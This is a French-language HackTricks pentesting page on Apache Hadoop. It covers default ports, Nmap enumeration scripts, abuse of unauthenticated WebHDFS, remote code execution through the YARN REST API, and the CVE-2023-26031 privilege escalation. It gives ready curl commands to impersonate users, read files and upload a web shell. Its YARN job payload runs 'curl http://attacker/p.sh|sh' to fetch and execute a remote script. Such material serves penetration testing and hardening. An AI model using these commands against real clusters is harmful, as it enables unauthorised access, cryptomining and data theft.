50030-50060-50070-50075-50090 - Pentesting Hadoop

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Apache Hadoop est un framework open-source pour le stockage et le traitement distribués de grands ensembles de données sur des clusters d’ordinateurs. Il utilise HDFS pour le stockage et MapReduce pour le traitement.

Ports par défaut utiles :

  • 50070 / 9870 NameNode (WebHDFS)
  • 50075 / 9864 DataNode
  • 50090 Secondary NameNode
  • 8088 YARN ResourceManager web UI & REST
  • 8042 YARN NodeManager
  • 8031/8032 YARN RPC (souvent oubliés et encore sans auth dans de nombreuses installations)

Malheureusement, Hadoop n’est pas pris en charge dans le framework Metasploit au moment de la rédaction de cette documentation. Cependant, vous pouvez utiliser les scripts Nmap suivants pour énumérer les services Hadoop :

  • hadoop-jobtracker-info (Port 50030)
  • hadoop-tasktracker-info (Port 50060)
  • hadoop-namenode-info (Port 50070)
  • hadoop-datanode-info (Port 50075)
  • hadoop-secondary-namenode-info (Port 50090)

Il est crucial de noter que Hadoop fonctionne sans authentification dans sa configuration par défaut. Cependant, pour une sécurité renforcée, des configurations existent pour intégrer Kerberos avec les services HDFS, YARN et MapReduce.

WebHDFS / HttpFS abuse (50070/9870 or 14000)

Lorsque security=off, vous pouvez vous faire passer pour n’importe quel utilisateur avec le paramètre user.name. Quelques primitives rapides :

# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"

# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"

# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'

Si HttpFS est activé (port par défaut 14000), les mêmes chemins REST s’appliquent. Derrière Kerberos, vous pouvez toujours utiliser curl --negotiate -u : avec un ticket valide.

YARN unauth RCE (8088)

La ResourceManager REST API accepte les soumissions de jobs sans auth en mode par défaut “simple” (dr.who). Les attaquants l’exploitent pour exécuter des commandes arbitraires (par ex. miners) sans avoir besoin d’un accès en écriture à HDFS.

# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application

# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'

Si le port 8031/8032 RPC est exposé, les clusters plus anciens permettent la même soumission de job via protobuf sans auth (documenté dans plusieurs campagnes de cryptominer) – considérez aussi ces ports comme des RCE.

Escalade de privilèges locale depuis les conteneurs YARN (CVE-2023-26031)

Hadoop 3.3.1–3.3.4 container-executor charge des libs depuis un RUNPATH relatif. Un utilisateur qui peut exécuter des containers YARN (y compris des submitters distants sur des clusters non sécurisés) peut déposer un libcrypto.so malveillant dans un chemin inscriptible et obtenir le root lorsque container-executor s’exécute avec SUID.

Vérification rapide:

readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor   # SUID+root makes it exploitable

Corrigé dans 3.3.5 ; assurez-vous que le binaire n’est pas SUID si des conteneurs sécurisés ne sont pas nécessaires.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks